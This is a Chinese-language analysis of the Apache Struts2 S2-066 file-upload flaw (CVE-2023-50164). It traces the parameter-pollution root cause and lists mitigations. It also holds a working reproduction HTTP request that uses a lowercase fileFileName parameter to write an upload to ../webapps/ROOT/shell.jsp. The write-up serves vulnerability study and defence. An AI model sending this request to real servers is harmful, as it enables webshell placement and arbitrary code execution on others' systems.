( CVE-2023-50164)Apache Struts2 S2-066 文件上传漏洞分析
字数 1355 2025-08-10 08:28:27
Apache Struts2 S2-066 文件上传漏洞分析 (CVE-2023-50164)
漏洞概述
Apache Struts2 是一个开源的 Java Web 应用程序开发框架,用于构建企业级Web应用程序。CVE-2023-50164 是一个文件上传漏洞,攻击者可利用该漏洞污染相关上传参数导致目录遍历,在特定环境下可能导致上传Webshell并执行任意代码。
漏洞分析
正常文件上传流程
- Struts2的默认配置包含
FileUploadInterceptor拦截器,负责处理文件上传 - 拦截器将文件信息封装到相应的Action属性中
- 正常情况下尝试使用
../../进行目录穿越会被阻止
关键代码分析
-
文件名获取过程:
FileUploadInterceptor#intercept()方法处理上传- 通过
multiWrapper.getFileNames()获取文件名 - 使用
getCanonicalName()方法通过substring截取文件名,阻止了../../目录穿越
-
参数处理机制:
- 生成两个变量
contentTypeName和fileNameName - 检查每个文件是否可接受(默认全部接受)
- 将文件名、内容类型和文件内容分别保存到三个List中
- 如果接受的文件列表不为空,将这三个List封装成Parameter并存入参数Map
- 生成两个变量
-
参数污染点:
- 在
ParametersInterceptor#setParameters()中对参数赋值 - 使用
HttpParameters.create()创建参数 - 漏洞版本中
HttpParameters是大小写敏感的 - OGNL表达式调用setter方法时自动将属性名首字母大写
- 在
参数污染原理
- 由于大小写敏感,
FileFileName和fileFileName被视为不同参数 - OGNL在查找setter方法时自动将属性名首字母大写
- 两个参数会被自动映射到同一个参数上
- 调用get方法获取值时,会取得最后赋值的参数值
参数覆盖顺序
在TreeMap中键的排序规则:
- 大写字母排在小写字母之前
- 数字排在字母之前
因此构造上传参数时:
- 文件上传的name使用大写开头(如
File) - 手动传入的污染参数使用小写开头(如
fileFileName)
漏洞复现
攻击数据包构造
POST /s2/upload.action?fileFileName=../webapps/ROOT/shell.jsp HTTP/1.1
Host: 192.168.31.185:8080
Content-Length: 416
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjYgoTIxv686oqL3F
------WebKitFormBoundaryjYgoTIxv686oqL3F
Content-Disposition: form-data; name="File"; filename="test.jsp"
Content-Type: application/octet-stream
test
------WebKitFormBoundaryjYgoTIxv686oqL3F
Content-Disposition: form-data; name="submit"
submit
------WebKitFormBoundaryjYgoTIxv686oqL3F--
关键攻击点
- 在URL参数中添加
fileFileName=../webapps/ROOT/shell.jsp - 上传表单中使用大写开头的name属性(
File) - 上传任意文件内容(如
test)
漏洞影响
成功利用此漏洞可以:
- 实现目录穿越
- 将文件上传到Web应用的任意目录
- 在特定环境下上传Webshell
- 执行任意代码
防御措施
- 升级到Apache Struts2的最新安全版本
- 在文件上传功能中实施严格的路径验证
- 限制上传文件类型
- 对上传文件进行重命名处理
- 将上传文件存储在非Web可访问目录
技术要点总结
- 漏洞源于参数处理时的大小写敏感性与OGNL表达式处理的差异
- 利用TreeMap的排序规则实现参数覆盖
- 通过精心构造的大小写差异参数实现目录穿越
- 新版本通过修改HttpParameters为大小写不敏感修复此漏洞